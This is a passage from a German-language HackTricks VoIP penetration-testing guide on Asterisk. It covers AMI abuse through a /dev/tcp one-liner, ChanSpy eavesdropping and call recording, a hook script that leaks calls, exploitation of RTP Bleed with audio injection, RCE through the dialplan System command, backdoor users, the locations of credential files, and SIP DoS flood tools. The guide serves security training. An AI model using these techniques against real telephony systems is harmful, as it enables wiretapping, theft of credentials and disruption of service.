Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
|
|
```
|
|
### Click2Call
|
|
|
|
Click2Call ermöglicht es einem **Webbenutzer** (der zum Beispiel an einem Produkt interessiert sein könnte), seine **Telefonnummer einzugeben**, um zurückgerufen zu werden. Dann wird ein Anruf getätigt, und wenn er **den Hörer abnimmt**, wird der Benutzer **angerufen und mit dem Agenten verbunden**.
|
|
|
|
Ein häufiges Asterisk-Profil dafür ist:
|
|
```scss
|
|
[web_user]
|
|
secret = complex_password
|
|
deny = 0.0.0.0/0.0.0.0
|
|
allow = 0.0.0.0/0.0.0.0
|
|
displayconnects = yes
|
|
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|
write = system,call,agent,user,config,command,reporting,originate
|
|
```
|
|
* Das vorherige Profil erlaubt es **JEDER IP-Adresse, eine Verbindung herzustellen** (wenn das Passwort bekannt ist).
|
|
* Um **einen Anruf zu organisieren**, wie zuvor angegeben, ist **keine Leseberechtigung erforderlich** und es wird nur **originate** in **write** benötigt.
|
|
|
|
Mit diesen Berechtigungen könnte sich jede IP-Adresse mit Kenntnis des Passworts verbinden und zu viele Informationen extrahieren, wie zum Beispiel:
|
|
```bash
|
|
# Get all the peers
|
|
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
|
```
|
|
{% endcode %}
|
|
|
|
**Weitere Informationen oder Aktionen können angefordert werden.**
|
|
|
|
### **Abhören**
|
|
|
|
In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **zu überwachenden Erweiterungen** (oder alle) anzugeben, um laufende Gespräche abzuhören. Dieser Befehl muss einer Erweiterung zugewiesen werden.
|
|
|
|
Zum Beispiel gibt **`exten => 333,1,ChanSpy('all',qb)`** an, dass wenn Sie die **Erweiterung 333 anrufen**, alle Erweiterungen **überwacht** werden, und das Abhören beginnt, wenn ein neues Gespräch beginnt (**`b`**) im leisen Modus (**`q`**), da wir nicht interagieren möchten. Sie können von einem laufenden Gespräch zum nächsten wechseln, indem Sie **`*`** drücken oder die Erweiterungsnummer markieren.
|
|
|
|
Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Erweiterung zu überwachen.
|
|
|
|
Anstatt die Gespräche anzuhören, ist es möglich, sie in Dateien aufzuzeichnen, indem Sie eine Erweiterung wie folgt verwenden:
|
|
|
|
{% code overflow="wrap" %}
|
|
```scss
|
|
[recorded-context]
|
|
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
|
exten => _X.,2,MixMonitor(${NAME})
|
|
```
|
|
{% endcode %}
|
|
|
|
Anrufe werden in **`/tmp`** gespeichert.
|
|
|
|
Sie könnten sogar Asterisk dazu bringen, ein Skript auszuführen, das den Anruf preisgibt, wenn er beendet wird.
|
|
```scss
|
|
exten => h,1,System(/tmp/leak_conv.sh &)
|
|
```
|
|
### RTCPBleed-Schwachstelle
|
|
|
|
**RTCPBleed** ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Schwachstelle ermöglicht es, dass **RTP (Real Time Protocol) Verkehr**, der VoIP-Gespräche trägt, von jedem im Internet **abgefangen und umgeleitet** werden kann. Dies geschieht, weil der RTP-Verkehr die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation) Firewalls navigiert.
|
|
|
|
RTP-Proxys versuchen, **NAT-Einschränkungen** bei RTC-Systemen zu beheben, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxyen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die über die Signalisierung (z. B. SIP) abgerufenen RTP-IP- und Portinformationen vertrauen. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem ein solches **IP- und Port-Tupel automatisch erlernt wird**. Dies wird oft durch Inspektion des eingehenden RTP-Verkehrs und Markierung der Quell-IP und des Ports für jeden eingehenden RTP-Verkehr als diejenige, auf die geantwortet werden soll, durchgeführt. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **nutzt keine Art von Authentifizierung**. Daher können **Angreifer** RTP-Verkehr an den RTP-Proxy **senden** und den für den Anrufer oder Angerufenen eines laufenden RTP-Streams bestimmten proxied RTP-Verkehr empfangen. Wir nennen diese Schwachstelle RTP Bleed, weil sie es Angreifern ermöglicht, RTP-Mediendatenströme zu empfangen, die für legitime Benutzer bestimmt sind.
|
|
|
|
Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, **auch wenn sie nicht anfällig für RTP Bleed sind**, RTP-Pakete von jeder Quelle **akzeptieren, weiterleiten und/oder verarbeiten**. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzuspeisen. Wir nennen diesen Angriff RTP-Injektion, weil er die Einspeisung von nicht legitimen RTP-Paketen in bestehende RTP-Streams ermöglicht. Diese Schwachstelle kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden.
|
|
|
|
Asterisk und FreePBX haben traditionell die Einstellung **`NAT=yes`** verwendet, die es RTP-Verkehr ermöglicht, die Authentifizierung zu umgehen, was potenziell zu keinem Ton oder Einweg-Ton bei Anrufen führen kann.
|
|
|
|
Für weitere Informationen siehe [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
|
|
* **`SIPPTS rtpbleed`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed erkennt die RTP Bleed-Schwachstelle und sendet RTP-Streams.
|
|
```bash
|
|
sippts rtpbleed -i 10.10.0.10
|
|
```
|
|
* **`SIPPTS rtcpbleed`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed erkennt die RTP Bleed-Schwachstelle durch das Senden von RTCP-Streams.
|
|
```bash
|
|
sippts rtcpbleed -i 10.10.0.10
|
|
```
|
|
* **`SIPPTS rtpbleedflood`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood nutzt die RTP Bleed-Schwachstelle aus, um RTP-Streams zu senden.
|
|
```bash
|
|
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
|
```
|
|
* **`SIPPTS rtpbleedinject`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject nutzt die RTP Bleed-Schwachstelle aus, um eine Audiodatei (im WAV-Format) einzuspeisen.
|
|
```bash
|
|
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|
```
|
|
### RCE
|
|
|
|
In Asterisk gelingt es Ihnen irgendwie, **Erweiterungsregeln hinzuzufügen und sie neu zu laden** (zum Beispiel durch Kompromittierung eines anfälligen Web-Manager-Servers), ist es möglich, RCE mit dem **`System`**-Befehl zu erhalten.
|
|
```scss
|
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|
```
|
|
Es gibt den Befehl namens **`Shell`**, der anstelle von `System` verwendet werden kann, um bei Bedarf Systembefehle auszuführen.
|
|
|
|
{% hint style="warning" %}
|
|
Wenn der Server die Verwendung bestimmter Zeichen im `System`-Befehl verbietet (wie bei Elastix), überprüfen Sie, ob der Webserver das **Erstellen von Dateien im System** auf irgendeine Weise zulässt (wie bei Elastix oder Trixbox), und verwenden Sie dies, um ein **Hintertürskript zu erstellen** und dann **`System`** zu verwenden, um dieses **Skript auszuführen**.
|
|
{% endhint %}
|
|
|
|
#### Interessante lokale Dateien und Berechtigungen
|
|
|
|
* **`sip.conf`** -> Enthält das Passwort von SIP-Benutzern.
|
|
* Wenn der **Asterisk-Server als Root ausgeführt wird**, könnten Sie Root kompromittieren.
|
|
* **MySQL-Root-Benutzer** hat möglicherweise **kein Passwort**.
|
|
* Dies könnte verwendet werden, um einen neuen MySQL-Benutzer als Hintertür zu erstellen.
|
|
* **`FreePBX`**
|
|
* **`amportal.conf`** -> Enthält das Passwort des Webpanel-Administrators (FreePBX).
|
|
* **`FreePBX.conf`** -> Enthält das Passwort des Benutzers FreePBXuser, der zum Zugriff auf die Datenbank verwendet wird.
|
|
* Dies könnte verwendet werden, um einen neuen MySQL-Benutzer als Hintertür zu erstellen.
|
|
* **`Elastix`**
|
|
* **`Elastix.conf`** -> Enthält mehrere Passwörter im Klartext wie das MySQL-Root-Passwort, das IMAPd-Passwort, das Webadmin-Passwort.
|
|
* **Mehrere Ordner** gehören dem kompromittierten Asterisk-Benutzer (wenn nicht als Root ausgeführt). Dieser Benutzer kann die vorherigen Dateien lesen und auch die Konfiguration steuern, sodass er Asterisk dazu bringen könnte, andere mit Hintertüren versehene Binärdateien zu laden, wenn sie ausgeführt werden.
|
|
|
|
### RTP-Injektion
|
|
|
|
Es ist möglich, eine **`.wav`** in Gespräche einzufügen, indem Tools wie **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) und **`rtpmixsound`** (`sudo apt install rtpmixsound`) verwendet werden.
|
|
|
|
Oder Sie könnten die Skripte von [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) verwenden, um **Gespräche zu scannen** (**`rtpscan.pl`**), eine `.wav` an ein Gespräch zu senden (**`rtpsend.pl`**) und **Geräusche in ein Gespräch einzufügen** (**`rtpflood.pl`**).
|
|
|
|
### DoS
|
|
|
|
Es gibt mehrere Möglichkeiten, DoS-Angriffe auf VoIP-Server zu versuchen.
|
|
|
|
* **`SIPPTS-Flut`** von [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS-Flut sendet unbegrenzt Nachrichten an das Ziel.
|
|
* `sippts flood -i 10.10.0.10 -m invite -v`
|
|
* **`SIPPTS-Ping`** von [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS-Ping führt einen SIP-Ping durch, um die Antwortzeit des Servers zu sehen.
|
|
* `sippts ping -i 10.10.0.10`
|
|
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS-Angriff auf das von Asterisk verwendete IAX-Protokoll.
|
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ein Tool zur Durchführung von SIP/SDP-INVITE-Nachrichtenfluten über UDP/IP.
|
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Senden mehrerer wohlgeformter RTP-Pakete. Es ist erforderlich, die verwendeten RTP-Ports zu kennen (zuerst sniffen).
|
|
* [**SIPp**](https://github.com/SIPp/sipp): Ermöglicht die Analyse und Generierung von SIP-Verkehr. Kann also auch für DoS-Angriffe verwendet werden.
|
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP-Schweizer Taschenmesser. Kann auch für SIP-Angriffe verwendet werden.
|
|
* Fuzzer: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
|
|
|
### OS-Schwachstellen
|
|
|
|
Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine **OS-Distribution** herunterzuladen, die sie bereits installiert hat, wie z.B.: **FreePBX, Elastix, Trixbox**... Das Problem bei diesen ist, dass Sysadmins, sobald es funktioniert, sie möglicherweise **nicht mehr aktualisieren** und mit der Zeit **Schwachstellen** entdeckt werden.
|
|
|
|
## Referenzen
|
|
|
|
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
|
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
|
|
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
|
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
|
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|